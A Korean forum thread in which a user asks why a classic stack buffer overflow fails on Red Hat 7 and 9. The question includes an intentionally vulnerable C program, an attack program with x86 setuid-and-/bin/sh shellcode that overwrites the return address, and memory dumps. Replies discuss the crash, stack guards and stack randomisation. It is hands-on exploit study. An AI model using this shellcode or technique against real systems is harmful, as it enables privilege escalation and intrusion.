레드햇9 BOF 실패 이유가 궁금합니다.

answp의 이미지

/* a.c 코드 입니다.*/
#include
#include "dumpcode.h"
#include

int main(int argc, char *argv[])
{
char buf[10];
strcpy(buf, argv[1]);
dumpcode(buf, 100);
return 0;
}

/* attack.c 코드 입니다.*/

#include
#include
#include "dumpcode.h"

int main(void)
{
char shellcode[]="\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int addr;
char buffer[1024];
int num=28;

memset(buffer, 0, 1024);
memset(buffer, 'A', num);

addr=(int)shellcode;
buffer[num++]=addr & 0xff;
buffer[num++]=(addr>>8) & 0xff;
buffer[num++]=(addr>>16) & 0xff;
buffer[num++]=(addr>>24) & 0xff;

dumpcode(shellcode, 100);
execl("./a", "./a", buffer, NULL);
return 0;
}

[root@localhost test]$ ./attack
0xbfffdfa0 31 c0 b0 31 cd 80 89 c3 89 c1 31 c0 b0 46 cd 80 1..1......1..F..
0xbfffdfb0 eb 1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 0b ..^.v.1..F..F...
0xbfffdfc0 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89 d8 40 cd ...N..V...1...@.
0xbfffdfd0 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 00 04 08 ....../bin/sh...
0xbfffdfe0 60 53 01 40 2c 87 04 08 08 e0 ff bf 74 55 01 42 `S.@,.......tU.B
0xbfffdff0 01 00 00 00 34 e0 ff bf 3c e0 ff bf 2c 58 01 40 ....4...<...,X.@
0xbfffe000 01 00 00 00 ....

0xbfffdf30 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbfffdf40 41 41 41 41 41 41 41 41 41 41 41 41 a0 df ff bf AAAAAAAAAAAA....
0xbfffdf50 00 00 00 00 94 df ff bf a0 df ff bf 2c 58 01 40 ............,X.@
0xbfffdf60 02 00 00 00 e4 82 04 08 00 00 00 00 05 83 04 08 ................
0xbfffdf70 92 85 04 08 02 00 00 00 94 df ff bf d4 85 04 08 ................
0xbfffdf80 04 86 04 08 60 c6 00 40 8c df ff bf 00 00 00 00 ....`..@........
0xbfffdf90 02 00 00 00 ....
Illegal instruction
[root@localhost test]$

불법 명령어라고 나오면서 안됩니다. 공격을 자동으로 막고 있는건지
아님 다른 이유로 실패한건지... 왜 실패 했는지 이유가 궁금합니다.
참로고 레드햇 7,9 에서 둘다 실험 해봤습니다

okdongil의 이미지

illegal instruction이 무엇인지 google에서 찾아 보니
"Illegal instruction traps might be the result of programs that accidentally attempt to execute random data."
이렇게 되어 있습니다.
CPU에 정의되지 않는 machine code라는 이야기 인거 같은데요.

compiler의 library에서 제공하는 startup code (ex. crt0.o)에서 main함수를 호출하는데요.
main 함수의 ret address가 overwirte되면서,
main 함수의 ret address가 0x41414141로 변경되면서
0x41414141에 있는 data를 machine code로 실행하여 발생하는 것 같습니다.

결론적으로 buffer overflow가 실패한 것은 아닌 것 같고
main 함수 종료 이후에 startup code로 복귀 되지 않으면서 발생하는 문제인 것 같습니다.

lovian의 이미지

윗분 말씀에 조금 덧붙여서

./a 에 파라미터로 넘어간 AAA + shell code가
올바르게 overflow되었는지 확인하셔야겠네요.

attack에서 num 값으로 ret address의 위치를 조절하게 되어있는데,
실제로 시험중인 시스템에서 정확한 ret address의 위치가 맞는지 확인 / 유추 하셔야합니다.

그리고 참고로..
redhat 9이면 있을지 잘 모르겠는데,
프로그램 실행시 stack guard라는 기술이 적용되는 경우가 있습니다.
ret address를 쉽게 계산하지 못하거나 변조하지 못하게 하는 기술을 말하는데요.
이 녀석의 적용되었다면 위의 코드로는 bof가 성공할 수 없을 겁니다.

-----------------
한글을 사랑합니다.

-----------------
한글을 사랑합니다.

hansolo의 이미지

윗분 말씀에 조금 더 덧붙여서..

윗분이 말씀하신 그게 레드햇 9에 있습니다. 실행할 때 마다 스택의 주소가 바뀌더군요.

bof 할때 조금은 성가시지요..

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.